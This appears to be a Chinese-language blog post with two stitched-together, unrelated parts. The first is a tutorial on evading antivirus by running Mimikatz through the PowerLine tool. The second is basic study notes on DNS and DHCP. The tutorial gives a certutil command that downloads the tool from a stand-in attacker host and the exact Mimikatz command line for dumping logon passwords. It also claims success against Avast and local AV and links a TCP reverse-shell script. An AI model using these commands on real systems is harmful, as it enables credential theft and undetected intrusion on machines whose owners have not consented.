Powershell AV Evasion. Running Mimikatz with PowerLine

PowerShell默认存在于所有Windows 7+上,并且正在成为在Windows中执行所需脚本的最常用方法。因此产品开始阻止或警告PowerShell的使用。
网络上也有很多关于ps的混淆脚本和混淆技巧,对于国内的一些杀毒其实已经够了,但是如果遇到了比如eset/avast等杀毒就会被拦截了。
经过测试,检查防病毒是否检测到此行为,因此在执行阶段就已经失效。
图片1.png

Powerline是由Brian Fehrman(@fullmetalcache)创建的一个很棒的工具,允许调用PowerShell脚本。它是用C#编写的(不直接调用PowerShell),可以完全从命令行使用。

构建和使用:
部署构建很简单
1、从github下载代码https://github.com/fullmetalcache/PowerLine
2、运行build.bat
3、更新UserConf.xml文档以包含您要包含的ps脚本的URL
4、运行plbuilder.exe,powerline.exe生成成功
使用:
当你构件好powerline后接下来就是把powerline.exe放到目标机器上。可以通过shell上传或者远程下载功能。

certutil -urlcache -split -f http://atackerIP/PowerLine.exe PowerLine.exe

上传后执行(默认的userconf.xml中带的是invoke-mimikatz):

PowerLine.exe Invoke-Mimikatz "Invoke-Mimikatz -Command \"`\"privilege::debug`\" `\"sekurlsa::logonPasswords`\"\""

Avast(图片来自引用博客):
图片2.png
国内杀毒(图片来自本地测试):
图片3.png
可以看到已经达到了绕过的需求。
可以通过修改默认导入的ps脚本来满足不同环境下的需求。

https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

引用:

    https://github.com/fullmetalcache/PowerLine/blob/master/README.md
 https://jlajara.gitlab.io/posts/2019/01/27/Mimikatz-AV-Evasion.html

DNS:

DNS出现的原因:IP地址不便记忆。
TCP/IP网络中每一个互联的计算机都具有其唯一的IP地址。
当用户输入主机名(域名)DNS服务器会自动检索那个主机名和IP地址的数据库。并将IP地址返回给查找的客户机。
域名的组成:

QQ20190331-160810@2x.png

常见域名后缀:
edu 教育机构
gov 政府机构
ac 科研机构
org 非营利机构
cn 中国
jp 日本
hk 香港

DNS的解析结构像一棵倒着的树:
QQ20190331-160823@2x.png

DNS查询流程:
QQ20190331-160828@2x.png

DHCP(DHCP动态主机配置协议),一个简化主机IP地址肥培管理的TCP/IP协议。
由于DHCP服务器的存在,是配置IP地址变成了即插即用的自动分配形式。

以前配置IP需要手动配置,从网络管理员出获得信息,来进行配置。

            IP地址:
          子网掩码:
          默认路由:
        DNS服务器:

有了DHCP服务器自动设置ip,减轻了网络管理员的负担。
QQ20190331-160223@2x.png

DHCP的工作原理:
QQ20190331-160228@2x.png
请求设置IP和子网掩码
通知可以使用的网络设置
QQ20190331-160233@2x.png

通知想要使用在2中的配置
允许使用3中的设置。
DHCP租用地址都有一个时间限制
PC在时限之前可以发送DHCP请求包延长这个时限。

DHCP基本属于:
作用域:作用于适用于网络的ip地址范围
排除范围:排除范围是作用于内从DHCP中排出的有限IP地址序列,确保这些范围中的任何地址都不是有网络上的服务器给客户端的。
地址池:作用于-派出范围
租约:是C端,可使用的ip地址期间dhcp指定的时间长度。
租期:指C从S获取TCP/IP的使用时间。